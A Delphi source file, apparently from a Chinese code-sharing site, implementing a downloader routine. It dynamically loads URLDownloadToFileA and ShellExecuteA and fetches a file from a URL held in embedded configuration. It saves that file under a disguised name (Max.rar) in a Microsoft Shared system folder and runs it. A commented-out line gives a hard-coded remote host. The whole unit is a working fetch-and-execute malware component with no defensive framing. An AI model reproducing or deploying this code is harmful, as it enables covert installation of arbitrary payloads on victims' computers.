📄 downn.~pas
字号:
unit downn;
interface
uses Windows;
procedure Download;
function GetReleaseFileName(): string;
implementation
uses ExtInfo;
var
//动态加载shell32.dll中的ShellExecuteA函数
ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
hShell,hUrlmon: THandle;
Downfilew:string;
// 返回合适的释放位置
function GetReleaseFileName(): string;
begin
SetLength(Result, 50);
GetWindowsDirectory(@Result[1], 50);
Result := Result[1] + ':\Program Files\Common Files\Microsoft Shared\MSINFO\Max.rar';
end;
procedure Download; //下载过程
begin
Downfilew:= GetReleaseFileName;
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
hShell:=LoadLibrary('Shell32.dll');
hUrlmon:=LoadLibrary('urlmon.dll');
@ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
// Downfile(nil,'http://www.16ym.cn/cs/asp/temp.rar',pchar(Downfilew), 0, nil);
Downfile(nil,pchar(ExtraInfo.Down),pchar(Downfilew), 0, nil);
ShellRun(0,'open',pchar(Downfilew),nil,nil,5);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -